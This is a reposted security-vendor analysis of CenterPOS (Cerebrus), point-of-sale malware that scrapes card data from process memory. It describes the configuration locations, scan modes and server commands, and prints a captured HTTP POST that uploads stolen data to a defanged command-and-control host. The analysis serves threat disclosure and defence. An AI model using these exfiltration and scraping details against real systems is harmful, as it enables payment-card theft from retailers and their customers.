Posté par: igor51 le mars 24, 2017, 06:01:02
Introduction
There has been no shortage of point-of-sale (POS) threats in the
past couple of years. This type of malicious software has gained
widespread notoriety in recent time due to its use in high-profile
breaches, some of which involved well-known brick and mortar retailers
and led to the compromise of millions of payment cards. Our
investigation into these threats has led to the analysis of a
relatively newer POS malware known as CenterPOS.
CenterPOS
CenterPOS malware was
discovered in September 2015 in a directory filled with other POS
malware, including NewPoSThings, two Alina variants known as “Spark”
and “Joker,” and BlackPOS. This CenterPOS sample
(171c4c62ab2001c2f2394c3ec021dfa3) contains an internal version of
“1.7” and is a memory scraper that iterates through running processes
in order to extract payment card information. The payment card
information is transferred to a command and control (CnC) server via
HTTP POST:
POST /2kj1h43.php HTTP/1.1
Content-Type: multipart/form-data; boundary=axlmcc3u.x5w
Host: jackkk[.]com
Content-Length: 159
Expect: 100-continue
Connection: Keep-Alive
--axlmcc3u.x5w
Content-Disposition: form-data; name="userfile";filename="1432.txt"
Content-Type: application/octet-stream
AAAAAAAAAAAA
--axlmcc3u.x5w--
Table 1 shows several CenterPOS v1.7 variants and their associated
CnC locations.
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Table 1: CenterPOS v1.7 samples
We discovered a live CnC server (the admin panel is shown in Figure
1) that allowed us to confirm that CenterPOS is known as “Cerebrus” in
the underground (not to be confused with the RAT known as Cerberus).
Figure 1: Cerebrus 1.7 (CenterPOS) Admin Panel Login
Further investigation revealed that there is a new version of
CenterPOS, version 2.0, that is functionally very similar to version
1.7. The key difference is that version 2.0 uses a configuration file
to store the CnC information. When executed, the malware checks for a
configuration file that can be located in one of three locations:
- Appended to the end of the file enclosed by the strings [dup]
... [/dup]. - A file named mscorsv.nlp located in the same
directory. - In the registry:
HKLM\SYSTEM\CurrentControlSet\Control\Framework.NET
If a configuration file is not present, the malware will open a
dialog box that prompts for a password. If the correct password is
entered, a dialog box will appear that allows an operator to enter CnC
information, as well as a password used to encrypt the configuration
file (see Figure 2).
Figure 2: Cerebrus 2.0 (CenterPOS) Configuration Builder
The malware contains two modes for scraping memory and looking for
credit card information, a “smart scan” mode and a “normal scan” mode.
The “normal scan” mode will act nearly the same as v1.7:
The malware iterates over all processes and begins searching process
memory space if the process meets the following criteria:
- The process is not the current running process.
- The
process name is not in the ignore list. - The process name is
not “system,” “system idle process,” or “idle.” - The process
file version info does not contain “microsoft,” “apple inc,” “adobe
systems,” “intel corporation,” “vmware,” “mozilla,” or “host process
for windows services.” - The process full path's SHA-256 hash
is not in the SHA-256 blacklist.
If the process meets the criteria list, the malware will search all
memory regions within the process searching for credit card data with
regular expressions in the regular expression list.
In “smart scan” mode, the malware starts by performing a “normal
scan.” Any process that has a regular expression match will be added
to the “smart scan” list. After the first pass, the malware will only
search the processes that are in the “smart scan” list.
After each iteration of scanning all process memory, the malware
takes any data that matches and encrypts it using TripleDES with the
key found in the configuration file.
The malware will send information about the system and the current
settings to the CnC server after every other search. The gathered
system information includes all system users, logged in users,
sessions, process list, and current settings list. Each of these items
will be sent in a separate HTTP POST request.
The malware primarily sends data to the CnC server, but can also
receive commands. The malware can receive and process the following
list of commands:
- [restartnow] : Restarts the malware service.
- [uninstallnow] : Uninstalls the malware.
- [quitnow] :
Terminates the current malware process. - <script> :
<script> is a batch script to be run on the system.
In addition to processing commands, the malware also accepts
commands to update its current settings. The following list shows the
settings that can be changed:
- [clientlogs] : Enable or disable logging.
- [smartscan]
: Enables or disables “smart scan.” - [bincountreset] : Total
number of processes to scan before restarting a scan. - [blackmamba] : List of blacklisted values that could be matched
on by the regular expressions. - [blackproc] : List of
blacklisted process names. - [regexlist] : Updates the
regular expression list for searching process memory. - [blacksha256] : Updates the blacklist of full path SHA-256
values for processes. Processes in this black list will be
terminated. - [antihack] : Checks the Image File Execution
Options settings for several executables and deletes the “Debugger”
value name settings and deletes them if they exist. The executable
list is: sethc.exe, osk.exe, utilman.exe, magnify.exe, and
oks.exe. - [commonblackcards] : Use blackmamba blacklisted
values. - [restartafter] : Restarts the service after a number
of memory scan iterations. - [restart] : Restarts the malware
service. - [uninstall] : Uninstalls the malware.
The operators control the compromised systems and harvest stolen
payment card information through a web interface located on the CnC
server, as shown in Figure 3.
Figure 3: Cerebrus 2.0 (CenterPOS) Admin Panel Login
Table 2 shows several CenterPOS v2.0 variants and their associated
CnC locations.
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Table 2: CenterPOS v2.0 samples
Conclusion
There is an increasing demand for POS malware in the underground as
cybercriminals continue to target retailers in order to steal payment
card information. CenterPOS, known in the underground as Cerebrus, is
continuing to evolve. This version contains functionality that allows
cybercriminals to create a configuration file. In contrast to the
traditional builder-server model, the configuration file can be
created from the payload itself, allowing the operators to easily
update the CnC information if necessary.
Source: CenterPOS: An Evolving POS Threat (http://)